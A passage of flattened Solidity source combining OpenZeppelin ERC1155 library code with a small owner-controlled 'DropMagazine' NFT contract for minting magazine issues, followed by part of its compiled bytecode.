OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: @openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155Burnable is ERC1155 { function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } } // File: dropmagazine.sol pragma solidity ^0.8.2; contract DropMagazine is ERC1155, Ownable, ERC1155Burnable { mapping(uint256 => string) private _uris; mapping(uint256 => bool) private _minted; constructor() ERC1155("") {} // returns the IPFS address of the Magazine Issue once set function uri(uint256 tokenId) override public view returns (string memory) { return(_uris[tokenId]); } // sets the IPFS address of the Magazine Issue function setTokenURI(uint256 tokenId, string memory newUri) public onlyOwner { _uris[tokenId] = newUri; } // mints Drop #X function mint(address account, uint256 issueId, uint256 amount) public onlyOwner { require(_minted[issueId] == false, "Issue is already minted"); _mint(account, issueId, amount, ""); _minted[issueId] = true; } function withdraw() public onlyOwner { require(address(this).balance > 0, "Balance is 0"); payable(owner()).transfer(address(this).balance); } }
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c80636b20c45411610097578063e985e9c511610066578063e985e9c514610282578063f242432a146102b2578063f2fde38b146102ce578063f5298aca146102ea576100ff565b80636b20c45414610222578063715018a61461023e5780638da5cb5b14610248578063a22cb46514610266576100ff565b8063162094c4116100d3578063162094c4146101b05780632eb2c2d6146101cc5780633ccfd60b146101e85780634e1273f4146101f2576100ff565b8062fdd58e1461010457806301ffc9a7146101345780630e89341c14610164578063156e29f614610194575b600080fd5b61011e600480360381019061011991906126ed565b610306565b60405161012b9190612fe5565b60405180910390f35b61014e600480360381019061014991906127f8565b6103cf565b60405161015b9190612d88565b60405180910390f35b61017e60048036038101906101799190612852565b6104b1565b60405161018b9190612da3565b60405180910390f35b6101ae60048036038101906101a9919061272d565b610556565b005b6101ca60048036038101906101c5919061287f565b610685565b005b6101e660048036038101906101e191906124bc565b61072d565b005b6101f06107ce565b005b61020c60048036038101906102079190612780565b6108dd565b6040516102199190612d2f565b60405180910390f35b61023c60048036038101906102379190612622565b6109f6565b005b610246610a93565b005b610250610b1b565b60405161025d9190612c52565b60405180910390f35b610280600480360381019061027b91906126ad565b610b45565b005b61029c6004803603810190610297919061247c565b610b5b565b6040516102a99190612d88565b60405180910390f35b6102cc60048036038101906102c7919061258b565b610bef565b005b6102e860048036038101906102e3919061244f565b610c90565b005b61030460048036038101906102ff919061272d565b610d88565b005b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036e90612e05565b60405180910390fd5b60008083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061049a57507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806104aa57506104a982610e25565b5b9050919050565b60606004600083815260200190815260200160002080546104d190613285565b80601f01602080910402602001604051908101604052809291908181526020018280546104fd90613285565b801561054a5780601f1061051f5761010080835404028352916020019161054a565b820191906000526020600020905b81548152906001019060200180831161052d57829003601f168201915b50505050509050919050565b61055e610e8f565b73ffffffffffffffffffffffffffffffffffffffff1661057c610b1b565b73ffffffffffffffffffffffffffffffffffffffff16146105d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c990612f25565b60405180910390fd5b600015156005600084815260200190815260200160002060009054906101000a900460ff16151514610639576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063090612fc5565b60405180910390fd5b61065483838360405180602001604052806000815250610e97565b60016005600084815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b61068d610e8f565b73ffffffffffffffffffffffffffffffffffffffff166106ab610b1b565b73ffffffffffffffffffffffffffffffffffffffff1614610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f890612f25565b60405180910390fd5b80600460008481526020019081526020016000209080519060200190610728929190612127565b505050565b610735610e8f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061077b575061077a85610775610e8f565b610b5b565b5b6107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b190612ea5565b60405180910390fd5b6107c7858585858561102d565b5050505050565b6107d6610e8f565b73ffffffffffffffffffffffffffffffffffffffff166107f4610b1b565b73ffffffffffffffffffffffffffffffffffffffff161461084a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084190612f25565b60405180910390fd5b6000471161088d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088490612f05565b60405180910390fd5b610895610b1b565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156108da573d6000803e3d6000fd5b50565b60608151835114610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a90612f65565b60405180910390fd5b6000835167ffffffffffffffff8111156109405761093f6133be565b5b60405190808252806020026020018201604052801561096e5781602001602082028036833780820191505090505b50905060005b84518110156109eb576109bb8582815181106109935761099261338f565b5b60200260200101518583815181106109ae576109ad61338f565b5b6020026020010151610306565b8282815181106109ce576109cd61338f565b5b602002602001018181525050806109e4906132e8565b9050610974565b508091505092915050565b6109fe610e8f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610a445750610a4383610a3e610e8f565b610b5b565b5b610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a90612e65565b60405180910390fd5b610a8e838383611341565b505050565b610a9b610e8f565b73ffffffffffffffffffffffffffffffffffffffff16610ab9610b1b565b73ffffffffffffffffffffffffffffffffffffffff1614610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0690612f25565b60405180910390fd5b610b1960006115f2565b565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b57610b50610e8f565b83836116b8565b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b610bf7610e8f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610c3d5750610c3c85610c37610e8f565b610b5b565b5b610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7390612e65565b60405180910390fd5b610c898585858585611825565b5050505050565b610c98610e8f565b73ffffffffffffffffffffffffffffffffffffffff16610cb6610b1b565b73ffffffffffffffffffffffffffffffffffffffff1614610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612f25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7390612e25565b60405180910390fd5b610d85816115f2565b50565b610d90610e8f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610dd65750610dd583610dd0610e8f565b610b5b565b5b610e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0c90612e65565b60405180910390fd5b610e20838383611aa7565b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efe90612fa5565b60405180910390fd5b6000610f11610e8f565b9050610f3281600087610f2388611cc4565b610f2c88611cc4565b87611d3e565b8260008086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f919190613179565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62878760405161100f929190613000565b60405180910390a461102681600087878787611d46565b5050505050565b81518351